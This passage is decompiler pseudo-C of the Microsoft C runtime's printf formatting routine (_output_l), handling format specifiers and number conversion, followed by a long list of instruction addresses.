																if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __ecx;
																	 *(__ebp - 0x10) = __ecx;
																}
																goto L81;
															case 3:
																L138:
																 *(__ebp - 0x260) = 7;
																goto L140;
															case 4:
																L72:
																__eax = __ebp + 0x14;
																 *(__ebp - 0x284) = E00428370(__ebp + 0x14);
																__eflags =  *(__ebp - 0x284);
																if( *(__ebp - 0x284) == 0) {
																	L74:
																	__edx =  *0x440f80; // 0x404448
																	 *(__ebp - 4) = __edx;
																	__eax =  *(__ebp - 4);
																	 *(__ebp - 0x24) = E0041DE30( *(__ebp - 4));
																	L78:
																	goto L181;
																}
																L73:
																__ecx =  *(__ebp - 0x284);
																__eflags =  *(__ecx + 4);
																if( *(__ecx + 4) != 0) {
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																	__eflags =  *(__ebp - 0x10) & 0x00000800;
																	if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																		 *(__ebp - 0xc) = 0;
																		__edx =  *(__ebp - 0x284);
																		__eax =  *(__edx + 4);
																		 *(__ebp - 4) =  *(__edx + 4);
																		__ecx =  *(__ebp - 0x284);
																		__edx =  *__ecx;
																		 *(__ebp - 0x24) =  *__ecx;
																	} else {
																		__edx =  *(__ebp - 0x284);
																		__eax =  *(__edx + 4);
																		 *(__ebp - 4) =  *(__edx + 4);
																		__ecx =  *(__ebp - 0x284);
																		__eax =  *__ecx;
																		asm("cdq");
																		 *__ecx - __edx =  *__ecx - __edx >> 1;
																		 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																		 *(__ebp - 0xc) = 1;
																	}
																	goto L78;
																}
																goto L74;
															case 5:
																L115:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																__eax = __ebp - 0x248;
																 *(__ebp - 4) = __ebp - 0x248;
																 *(__ebp - 0x44) = 0x200;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) >= 0) {
																	L117:
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) != 0) {
																		L120:
																		__eflags =  *(__ebp - 0x30) - 0x200;
																		if( *(__ebp - 0x30) > 0x200) {
																			 *(__ebp - 0x30) = 0x200;
																		}
																		L122:
																		__eflags =  *(__ebp - 0x30) - 0xa3;
																		if( *(__ebp - 0x30) > 0xa3) {
																			 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																			 *(__ebp - 0x20) = L0041B8D0(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																			__eflags =  *(__ebp - 0x20);
																			if( *(__ebp - 0x20) == 0) {
																				 *(__ebp - 0x30) = 0xa3;
																			} else {
																				__eax =  *(__ebp - 0x20);
																				 *(__ebp - 4) =  *(__ebp - 0x20);
																				 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																				 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																			}
																		}
																		 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																		 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																		__eax =  *(__ebp + 0x14);
																		_t275 = __eax - 8; // 0xe852f855
																		__ecx =  *_t275;
																		_t276 = __eax - 4; // 0xbc20
																		__edx =  *_t276;
																		 *(__ebp - 0x2a0) =  *_t275;
																		 *(__ebp - 0x29c) =  *_t276;
																		__ecx = __ebp - 0x40;
																		_push(E0041AE60(__ebp - 0x40));
																		__eax =  *(__ebp - 0x2c);
																		_push( *(__ebp - 0x2c));
																		__ecx =  *(__ebp - 0x30);
																		_push( *(__ebp - 0x30));
																		__edx =  *((char*)(__ebp - 0x251));
																		_push( *((char*)(__ebp - 0x251)));
																		__eax =  *(__ebp - 0x44);
																		_push( *(__ebp - 0x44));
																		__ecx =  *(__ebp - 4);
																		_push( *(__ebp - 4));
																		__edx = __ebp - 0x2a0;
																		_push(__ebp - 0x2a0);
																		__eax =  *0x440374; // 0xf86dff92
																		__eax =  *__eax();
																		__esp = __esp + 0x1c;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) == 0) {
																				__ecx = __ebp - 0x40;
																				_push(E0041AE60(__ebp - 0x40));
																				__edx =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__eax =  *0x440380; // 0xa86dfc78
																				__eax =  *__eax();
																				__esp = __esp + 8;
																			}
																		}
																		__ecx =  *((char*)(__ebp - 0x251));
																		__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																		if( *((char*)(__ebp - 0x251)) == 0x67) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																				__ecx = __ebp - 0x40;
																				_push(E0041AE60(__ebp - 0x40));
																				__eax =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__ecx =  *0x44037c; // 0x886dfc7f
																				E004246D0(__ecx) =  *__eax();
																				__esp = __esp + 8;
																			}
																		}
																		__edx =  *(__ebp - 4);
																		__eax =  *( *(__ebp - 4));
																		__eflags =  *( *(__ebp - 4)) - 0x2d;
																		if( *( *(__ebp - 4)) == 0x2d) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																			__edx =  *(__ebp - 4);
																			__edx =  *(__ebp - 4) + 1;
																			__eflags = __edx;
																			 *(__ebp - 4) = __edx;
																		}
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x24) = E0041DE30( *(__ebp - 4));
																		do {
																			L181:
																			__eflags =  *(_t668 - 0x28);
																			if( *(_t668 - 0x28) != 0) {
																				goto L207;
																			}
																			goto L182;
																		} while ( *(__ebp - 0x30c) > 0x37);
																		goto L63;
																	}
																	L118:
																	__ecx =  *((char*)(__ebp - 0x251));
																	__eflags = __ecx - 0x67;
																	if(__ecx != 0x67) {
																		goto L120;
																	}
																	L119:
																	 *(__ebp - 0x30) = 1;
																	goto L122;
																}
																L116:
																 *(__ebp - 0x30) = 6;
																goto L122;
															case 6:
																L66:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																__eflags =  *(__ebp - 0x10) & 0x00000810;
																if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																	__ebp + 0x14 = E00428370(__ebp + 0x14);
																	 *(__ebp - 0x280) = __ax;
																	__cl =  *(__ebp - 0x280);
																	 *(__ebp - 0x248) = __cl;
																	 *(__ebp - 0x24) = 1;
																} else {
																	 *(__ebp - 0x27c) = 0;
																	__edx = __ebp + 0x14;
																	__eax = E004283B0(__ebp + 0x14);
																	 *(__ebp - 0x258) = __ax;
																	__eax =  *(__ebp - 0x258) & 0x0000ffff;
																	__ecx = __ebp - 0x248;
																	__edx = __ebp - 0x24;
																	 *(__ebp - 0x27c) = E00434240(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																	__eflags =  *(__ebp - 0x27c);
																	if( *(__ebp - 0x27c) != 0) {
																		 *(__ebp - 0x28) = 1;
																	}
																}
																__edx = __ebp - 0x248;
																 *(__ebp - 4) = __ebp - 0x248;
																while(1) {
																	L181:
																	__eflags =  *(_t668 - 0x28);
																	if( *(_t668 - 0x28) != 0) {
																		goto L207;
																	}
																	goto L182;
																}
															case 7:
																L135:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																 *((intOrPtr*)(__ebp - 8)) = 0xa;
																L144:
																__eflags =  *(_t668 - 0x10) & 0x00008000;
																if(( *(_t668 - 0x10) & 0x00008000) == 0) {
																	_t615 =  *(_t668 - 0x10) & 0x00001000;
																	__eflags = _t615;
																	if(_t615 == 0) {
																		__eflags =  *(_t668 - 0x10) & 0x00000020;
																		if(( *(_t668 - 0x10) & 0x00000020) == 0) {
																			_t617 =  *(_t668 - 0x10) & 0x00000040;
																			__eflags = _t617;
																			if(_t617 == 0) {
																				_t476 = E00428370(_t668 + 0x14);
																				_t670 = _t670 + 4;
																				__eflags = 0;
																				 *(_t668 - 0x2b0) = _t476;
																				 *(_t668 - 0x2ac) = 0;
																			} else {
																				_t549 = E00428370(_t668 + 0x14);
																				_t670 = _t670 + 4;
																				asm("cdq");
																				 *(_t668 - 0x2b0) = _t549;
																				 *(_t668 - 0x2ac) = _t617;
																			}
																		} else {
																			_t665 =  *(_t668 - 0x10) & 0x00000040;
																			__eflags = _t665;
																			if(_t665 == 0) {
																				_t550 = E00428370(_t668 + 0x14);
																				_t670 = _t670 + 4;
																				asm("cdq");
																				 *(_t668 - 0x2b0) = _t550 & 0x0000ffff;
																				 *(_t668 - 0x2ac) = _t665;
																			} else {
																				_t553 = E00428370(_t668 + 0x14);
																				_t670 = _t670 + 4;
																				asm("cdq");
																				 *(_t668 - 0x2b0) = _t553;
																				 *(_t668 - 0x2ac) = _t665;
																			}
																		}
																	} else {
																		_t556 = E00428390(_t668 + 0x14);
																		_t670 = _t670 + 4;
																		 *(_t668 - 0x2b0) = _t556;
																		 *(_t668 - 0x2ac) = _t615;
																	}
																} else {
																	_t557 = E00428390(_t668 + 0x14);
																	_t670 = _t670 + 4;
																	 *(_t668 - 0x2b0) = _t557;
																	 *(_t668 - 0x2ac) = _t613;
																}
																__eflags =  *(_t668 - 0x10) & 0x00000040;
																if(( *(_t668 - 0x10) & 0x00000040) == 0) {
																	goto L161;
																}
															case 8:
																L100:
																__ecx = __ebp + 0x14;
																 *(__ebp - 0x294) = E00428370(__ebp + 0x14);
																__eax = E00433F20();
																__eflags = __eax;
																if(__eax != 0) {
																	L110:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																	__eflags =  *(__ebp - 0x10) & 0x00000020;
																	if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																		__edx =  *(__ebp - 0x294);
																		__eax =  *(__ebp - 0x24c);
																		 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																	} else {
																		__eax =  *(__ebp - 0x294);
																		 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																	}
																	 *(__ebp - 0x28) = 1;
																	while(1) {
																		L181:
																		__eflags =  *(_t668 - 0x28);
																		if( *(_t668 - 0x28) != 0) {
																			goto L207;
																		}
																		goto L182;
																	}
																}
																L101:
																__edx = 0;
																__eflags = 0;
																if(0 == 0) {
																	 *(__ebp - 0x314) = 0;
																} else {
																	 *(__ebp - 0x314) = 1;
																}
																__eax =  *(__ebp - 0x314);
																 *(__ebp - 0x298) =  *(__ebp - 0x314);
																__eflags =  *(__ebp - 0x298);
																if( *(__ebp - 0x298) == 0) {
																	_push(L"(\"\'n\' format specifier disabled\", 0)");
																	_push(0);
																	_push(0x695);
																	_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																	_push(2);
																	__eax = L0041E390();
																	__esp = __esp + 0x14;
																	__eflags = __eax - 1;
																	if(__eax == 1) {
																		asm("int3");
																	}
																}
																__eflags =  *(__ebp - 0x298);
																if( *(__ebp - 0x298) != 0) {
																	L109:
																	while(1) {
																		L181:
																		__eflags =  *(_t668 - 0x28);
																		if( *(_t668 - 0x28) != 0) {
																			goto L207;
																		}
																		goto L182;
																	}
																} else {
																	L108:
																	 *((intOrPtr*)(L00422E80(__ecx))) = 0x16;
																	__eax = E00422C10(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																	 *(__ebp - 0x2e8) = 0xffffffff;
																	__ecx = __ebp - 0x40;
																	__eax = E0041AE30(__ecx);
																	__eax =  *(__ebp - 0x2e8);
																	L211:
																	return E0042BCD0(_t497, _t558,  *(_t668 - 0x48) ^ _t668, _t631, _t666, _t667);
																}
															case 9:
																goto L0;
															case 0xa:
																L137:
																 *(__ebp - 0x30) = 8;
																goto L138;
															case 0xb:
																L81:
																__eflags =  *(__ebp - 0x30) - 0xffffffff;
																if( *(__ebp - 0x30) != 0xffffffff) {
																	__edx =  *(__ebp - 0x30);
																	 *(__ebp - 0x310) =  *(__ebp - 0x30);
																} else {
																	 *(__ebp - 0x310) = 0x7fffffff;
																}
																__eax =  *(__ebp - 0x310);
																 *(__ebp - 0x28c) =  *(__ebp - 0x310);
																__ecx = __ebp + 0x14;
																 *(__ebp - 4) = E00428370(__ebp + 0x14);
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																__eflags =  *(__ebp - 0x10) & 0x00000810;
																if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																	L92:
																	__eflags =  *(__ebp - 4);
																	if( *(__ebp - 4) == 0) {
																		__edx =  *0x440f80; // 0x404448
																		 *(__ebp - 4) = __edx;
																	}
																	__eax =  *(__ebp - 4);
																	 *(__ebp - 0x288) =  *(__ebp - 4);
																	while(1) {
																		L95:
																		__ecx =  *(__ebp - 0x28c);
																		 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																		 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																		__eflags = __ecx;
																		if(__ecx == 0) {
																			break;
																		}
																		L96:
																		__eax =  *(__ebp - 0x288);
																		__ecx =  *( *(__ebp - 0x288));
																		__eflags = __ecx;
																		if(__ecx == 0) {
																			break;
																		}
																		L97:
																		 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																		 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																	}
																	L98:
																	__eax =  *(__ebp - 0x288);
																	__eax =  *(__ebp - 0x288) -  *(__ebp - 4);
																	__eflags = __eax;
																	 *(__ebp - 0x24) = __eax;
																	goto L99;
																} else {
																	L85:
																	__eflags =  *(__ebp - 4);
																	if( *(__ebp - 4) == 0) {
																		__eax =  *0x440f84; // 0x404438
																		 *(__ebp - 4) = __eax;
																	}
																	 *(__ebp - 0xc) = 1;
																	__ecx =  *(__ebp - 4);
																	 *(__ebp - 0x290) =  *(__ebp - 4);
																	while(1) {
																		L88:
																		__edx =  *(__ebp - 0x28c);
																		 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																		 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																		__eflags =  *(__ebp - 0x28c);
																		if( *(__ebp - 0x28c) == 0) {
																			break;
																		}
																		L89:
																		__ecx =  *(__ebp - 0x290);
																		__edx =  *( *(__ebp - 0x290)) & 0x0000ffff;
																		__eflags =  *( *(__ebp - 0x290)) & 0x0000ffff;
																		if(( *( *(__ebp - 0x290)) & 0x0000ffff) == 0) {
																			break;
																		}
																		L90:
																		 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																		 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																	}
																	L91:
																	 *(__ebp - 0x290) =  *(__ebp - 0x290) -  *(__ebp - 4);
																	__ecx =  *(__ebp - 0x290) -  *(__ebp - 4) >> 1;
																	 *(__ebp - 0x24) = __ecx;
																	L99:
																	while(1) {
																		L181:
																		__eflags =  *(_t668 - 0x28);
																		if( *(_t668 - 0x28) != 0) {
																			goto L207;
																		}
																		goto L182;
																	}
																}
															case 0xc:
																L136:
																 *((intOrPtr*)(__ebp - 8)) = 0xa;
																while(1) {
																	L144:
																	__eflags =  *(_t668 - 0x10) & 0x00008000;
																	if(( *(_t668 - 0x10) & 0x00008000) == 0) {
																		_t615 =  *(_t668 - 0x10) & 0x00001000;
																		__eflags = _t615;
																		if(_t615 == 0) {
																			__eflags =  *(_t668 - 0x10) & 0x00000020;
																			if(( *(_t668 - 0x10) & 0x00000020) == 0) {
																				_t617 =  *(_t668 - 0x10) & 0x00000040;
																				__eflags = _t617;
																				if(_t617 == 0) {
																					_t476 = E00428370(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					__eflags = 0;
																					 *(_t668 - 0x2b0) = _t476;
																					 *(_t668 - 0x2ac) = 0;
																				} else {
																					_t549 = E00428370(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					asm("cdq");
																					 *(_t668 - 0x2b0) = _t549;
																					 *(_t668 - 0x2ac) = _t617;
																				}
																			} else {
																				_t665 =  *(_t668 - 0x10) & 0x00000040;
																				__eflags = _t665;
																				if(_t665 == 0) {
																					_t550 = E00428370(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					asm("cdq");
																					 *(_t668 - 0x2b0) = _t550 & 0x0000ffff;
																					 *(_t668 - 0x2ac) = _t665;
																				} else {
																					_t553 = E00428370(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					asm("cdq");
																					 *(_t668 - 0x2b0) = _t553;
																					 *(_t668 - 0x2ac) = _t665;
																				}
																			}
																		} else {
																			_t556 = E00428390(_t668 + 0x14);
																			_t670 = _t670 + 4;
																			 *(_t668 - 0x2b0) = _t556;
																			 *(_t668 - 0x2ac) = _t615;
																		}
																	} else {
																		_t557 = E00428390(_t668 + 0x14);
																		_t670 = _t670 + 4;
																		 *(_t668 - 0x2b0) = _t557;
																		 *(_t668 - 0x2ac) = _t613;
																	}
																	__eflags =  *(_t668 - 0x10) & 0x00000040;
																	if(( *(_t668 - 0x10) & 0x00000040) == 0) {
																		goto L161;
																	}
																	goto L157;
																}
															case 0xd:
																L139:
																 *(__ebp - 0x260) = 0x27;
																L140:
																 *((intOrPtr*)(__ebp - 8)) = 0x10;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																	 *((char*)(__ebp - 0x14)) = 0x30;
																	 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
																	__eflags =  *(__ebp - 0x260) + 0x51;
																	 *((char*)(__ebp - 0x13)) = __al;
																	 *(__ebp - 0x1c) = 2;
																}
																while(1) {
																	L144:
																	__eflags =  *(_t668 - 0x10) & 0x00008000;
																	if(( *(_t668 - 0x10) & 0x00008000) == 0) {
																		_t615 =  *(_t668 - 0x10) & 0x00001000;
																		__eflags = _t615;
																		if(_t615 == 0) {
																			__eflags =  *(_t668 - 0x10) & 0x00000020;
																			if(( *(_t668 - 0x10) & 0x00000020) == 0) {
																				_t617 =  *(_t668 - 0x10) & 0x00000040;
																				__eflags = _t617;
																				if(_t617 == 0) {
																					_t476 = E00428370(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					__eflags = 0;
																					 *(_t668 - 0x2b0) = _t476;
																					 *(_t668 - 0x2ac) = 0;
																				} else {
																					_t549 = E00428370(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					asm("cdq");
																					 *(_t668 - 0x2b0) = _t549;
																					 *(_t668 - 0x2ac) = _t617;
																				}
																			} else {
																				_t665 =  *(_t668 - 0x10) & 0x00000040;
																				__eflags = _t665;
																				if(_t665 == 0) {
																					_t550 = E00428370(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					asm("cdq");
																					 *(_t668 - 0x2b0) = _t550 & 0x0000ffff;
																					 *(_t668 - 0x2ac) = _t665;
																				} else {
																					_t553 = E00428370(_t668 + 0x14);
																					_t670 = _t670 + 4;
																					asm("cdq");
																					 *(_t668 - 0x2b0) = _t553;
																					 *(_t668 - 0x2ac) = _t665;
																				}
																			}
																		} else {
																			_t556 = E00428390(_t668 + 0x14);
																			_t670 = _t670 + 4;
																			 *(_t668 - 0x2b0) = _t556;
																			 *(_t668 - 0x2ac) = _t615;
																		}
																	} else {
																		_t557 = E00428390(_t668 + 0x14);
																		_t670 = _t670 + 4;
																		 *(_t668 - 0x2b0) = _t557;
																		 *(_t668 - 0x2ac) = _t613;
																	}
																	__eflags =  *(_t668 - 0x10) & 0x00000040;
																	if(( *(_t668 - 0x10) & 0x00000040) == 0) {
																		goto L161;
																	}
																	goto L157;
																}
															case 0xe:
																while(1) {
																	L181:
																	__eflags =  *(_t668 - 0x28);
																	if( *(_t668 - 0x28) != 0) {
																		goto L207;
																	}
																	goto L182;
																}
														}
													case 8:
														L21:
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
														goto L24;
													case 9:
														L22:
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
														goto L24;
													case 0xa:
														L20:
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000001;
														 *(__ebp - 0x10) = __ecx;
														goto L24;
													case 0xb:
														L19:
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
														goto L24;
													case 0xc:
														L23:
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000008;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
														goto L24;
													case 0xd:
														L24:
														goto L209;
												}
											}
											L210:
											 *(_t668 - 0x2ec) =  *(_t668 - 0x24c);
											E0041AE30(_t668 - 0x40);
											_t497 =  *(_t668 - 0x2ec);
											goto L211;
										}
									}
									L178:
									__eflags =  *(_t668 - 0x24);
									if( *(_t668 - 0x24) == 0) {
										L180:
										 *((intOrPtr*)(_t668 - 4)) =  *((intOrPtr*)(_t668 - 4)) - 1;
										 *((char*)( *((intOrPtr*)(_t668 - 4)))) = 0x30;
										_t605 =  *(_t668 - 0x24) + 1;
										__eflags = _t605;
										 *(_t668 - 0x24) = _t605;
										goto L181;
									}
									L179:
									__eflags =  *((char*)( *((intOrPtr*)(_t668 - 4)))) - 0x30;
									if( *((char*)( *((intOrPtr*)(_t668 - 4)))) == 0x30) {
										goto L181;
									}
									goto L180;
								}
								L174:
								asm("cdq");
								_t624 =  *(_t668 - 0x2b8);
								 *(_t668 - 0x2a4) = E004307A0(_t624,  *(_t668 - 0x2b4),  *(_t668 - 8), _t623) + 0x30;
								asm("cdq");
								 *(_t668 - 0x2b8) = E00430820( *(_t668 - 0x2b8),  *(_t668 - 0x2b4),  *(_t668 - 8), _t624);
								 *(_t668 - 0x2b4) = _t624;
								__eflags =  *(_t668 - 0x2a4) - 0x39;
								if( *(_t668 - 0x2a4) > 0x39) {
									_t628 =  *(_t668 - 0x2a4) +  *((intOrPtr*)(_t668 - 0x260));
									__eflags = _t628;
									 *(_t668 - 0x2a4) = _t628;
								}
								 *((char*)( *((intOrPtr*)(_t668 - 4)))) =  *(_t668 - 0x2a4);
								 *((intOrPtr*)(_t668 - 4)) =  *((intOrPtr*)(_t668 - 4)) - 1;
								L172:
								_t623 =  *(_t668 - 0x30) - 1;
								 *(_t668 - 0x30) =  *(_t668 - 0x30) - 1;
								__eflags =  *(_t668 - 0x30);
								if( *(_t668 - 0x30) > 0) {
									goto L174;
								}
								goto L173;
							}
						}
						L159:
						__eflags =  *(_t668 - 0x2b0);
						if( *(_t668 - 0x2b0) >= 0) {
							goto L161;
						}
						goto L160;
						L161:
						 *(_t668 - 0x2b8) =  *(_t668 - 0x2b0);
						 *(_t668 - 0x2b4) =  *(_t668 - 0x2ac);
						goto L162;
					}
				}
			}

0x00427d8d
0x00427d8d
0x00427d8d
0x00427d8d
0x00427d9d
0x00427d9f
0x00427da2
0x00427da2
0x00427da8
0x00427da8
0x00427dab
0x00427dab
0x00427dae
0x00427db3
0x00427dd5
0x00427dd5
0x00427ddb
0x00427dfd
0x00427e00
0x00427e47
0x00427e47
0x00427e4a
0x00427e6b
0x00427e70
0x00427e73
0x00427e75
0x00427e7b
0x00427e4c
0x00427e50
0x00427e55
0x00427e58
0x00427e59
0x00427e5f
0x00427e5f
0x00427e02
0x00427e05
0x00427e05
0x00427e08
0x00427e2a
0x00427e2f
0x00427e35
0x00427e36
0x00427e3c
0x00427e0a
0x00427e0e
0x00427e13
0x00427e17
0x00427e18
0x00427e1e
0x00427e1e
0x00427e42
0x00427ddd
0x00427de1
0x00427de6
0x00427de9
0x00427def
0x00427def
0x00427db5
0x00427db9
0x00427dbe
0x00427dc1
0x00427dc7
0x00427dc7
0x00427e84
0x00427e87
0x00000000
0x00000000
0x00427e89
0x00427e89
0x00427e90
0x00000000
0x00000000
0x00427e92
0x00427e92
0x00427e9d
0x00427eab
0x00427eb0
0x00427eb6
0x00427ec4
0x00427ee1
0x00427ee4
0x00427ee9
0x00427eee
0x00427ef4
0x00427f02
0x00427f02
0x00427f0b
0x00427f0b
0x00427ef4
0x00427f11
0x00427f15
0x00427f26
0x00427f29
0x00427f30
0x00427f32
0x00427f32
0x00427f17
0x00427f17
0x00427f17
0x00427f3f
0x00427f45
0x00427f47
0x00427f47
0x00427f51
0x00427f54
0x00427f54
0x00427f5a
0x00427f5d
0x00427f60
0x00427f62
0x00000000
0x00000000
0x00427f64
0x00427f6a
0x00427f70
0x00427fed
0x00427ff3
0x00427ffc
0x00428002
0x00428008
0x00428033
0x00428033
0x00428033
0x00428037
0x00000000
0x00000000
0x0042803d
0x00428040
0x00428043
0x00428048
0x0042804d
0x0042805f
0x00428062
0x00428074
0x00428077
0x00428079
0x0042807d
0x0042807d
0x00428064
0x00428064
0x00428068
0x00428068
0x0042804f
0x0042804f
0x00428053
0x00428053
0x0042804d
0x0042808d
0x00428096
0x00428099
0x004280af
0x004280b4
0x004280b4
0x004280ca
0x004280cf
0x004280d5
0x004280d8
0x004280dd
0x004280e0
0x004280f6
0x004280fb
0x004280fb
0x004280e0
0x004280fe
0x00428102
0x004281d6
0x004281e9
0x004281ee
0x00000000
0x00428108
0x00428108
0x00428108
0x0042810c
0x00000000
0x00000000
0x00428112
0x00428112
0x0042811f
0x00428128
0x0042812e
0x0042812e
0x0042813d
0x00428143
0x00428145
0x00000000
0x00000000
0x0042814b
0x00428154
0x00428173
0x00428178
0x0042817b
0x0042818a
0x00428190
0x00428197
0x004281a2
0x004281a2
0x00000000
0x004281a2
0x00428199
0x00428199
0x004281a0
0x004281ae
0x004281c7
0x004281cc
0x00000000
0x004281cc
0x00000000
0x004281a0
0x004281d4
0x004281f1
0x004281f1
0x004281f8
0x004281fd
0x00428200
0x00428216
0x0042821b
0x0042821b
0x00428200
0x004281f8
0x0042821e
0x0042821e
0x00428222
0x0042822a
0x0042822f
0x00428232
0x00428232
0x00428239
0x00428239
0x004273bf
0x004273d2
0x004273d7
0x00000000
0x004273ea
0x004273f4
0x0042741b
0x00427402
0x00427413
0x00427413
0x004273f4
0x00427425
0x0042742b
0x0042743d
0x00427448
0x00427454
0x00427461
0x00000000
0x00000000
0x00427467
0x0042746d
0x00000000
0x00427474
0x00427474
0x0042748c
0x00427491
0x00427496
0x00427550
0x00427563
0x00427568
0x00000000
0x0042749c
0x004274af
0x004274b4
0x004274ba
0x004274bc
0x004274c5
0x004274c8
0x004274d4
0x004274d8
0x004274de
0x004274e0
0x004274e5
0x004274e7
0x004274ec
0x004274f1
0x004274f3
0x004274f8
0x004274fe
0x00427500
0x00427500
0x004274fe
0x00427501
0x00427508
0x00000000
0x0042750a
0x0042750f
0x0042752b
0x00427533
0x00427540
0x00427545
0x00000000
0x00427545
0x00427508
0x00000000
0x00427570
0x00427570
0x00427577
0x0042757a
0x0042757d
0x00427580
0x00427583
0x00427586
0x00427589
0x00427590
0x00427597
0x00000000
0x00000000
0x004275a3
0x004275a3
0x004275aa
0x004275b6
0x004275b9
0x004275bf
0x004275c6
0x00000000
0x00000000
0x004275c8
0x004275c8
0x004275ce
0x004275ce
0x004275d5
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00427618
0x00427618
0x0042761f
0x00427622
0x0042764c
0x0042764f
0x0042764f
0x00427652
0x00427659
0x00427659
0x0042765d
0x00427624
0x00427624
0x00427630
0x00427633
0x00427637
0x00427639
0x0042763c
0x0042763c
0x0042763f
0x00427645
0x00427647
0x00427647
0x0042764a
0x00427660
0x00000000
0x00000000
0x00427665
0x00427665
0x00000000
0x00000000
0x00427671
0x00427671
0x00427678
0x0042767b
0x0042769b
0x0042769e
0x0042769e
0x004276a8
0x004276a8
0x004276ac
0x0042767d
0x0042767d
0x00427689
0x0042768c
0x00427690
0x00427692
0x00427692
0x00427699
0x00000000
0x00000000
0x004276b4
0x004276b4
0x004276bb
0x004276c7
0x004276ca
0x004276d0
0x004276d7
0x004277ea
0x00000000
0x004277ea
0x004276dd
0x004276dd
0x004276e3
0x004276e3
0x004276ea
0x00000000
0x00427720
0x00427720
0x00427723
0x00427726
0x00427729
0x00427751
0x00427751
0x00427754
0x00427757
0x0042775a
0x0042777f
0x0042777f
0x00427782
0x00427785
0x00427788
0x004277c1
0x004277d2
0x00000000
0x004277d2
0x0042778a
0x0042778a
0x0042778d
0x00427790
0x00427793
0x00000000
0x00000000
0x00427795
0x00427795
0x00427798
0x0042779b
0x0042779e
0x00000000
0x00000000
0x004277a0
0x004277a0
0x004277a3
0x004277a6
0x004277a9
0x00000000
0x00000000
0x004277ab
0x004277ab
0x004277ae
0x004277b1
0x004277b4
0x00000000
0x00000000
0x004277b6
0x004277b6
0x004277b9
0x004277bc
0x004277bf
0x004277c3
0x00000000
0x004277c3
0x00000000
0x004277bf
0x0042775c
0x0042775c
0x0042775f
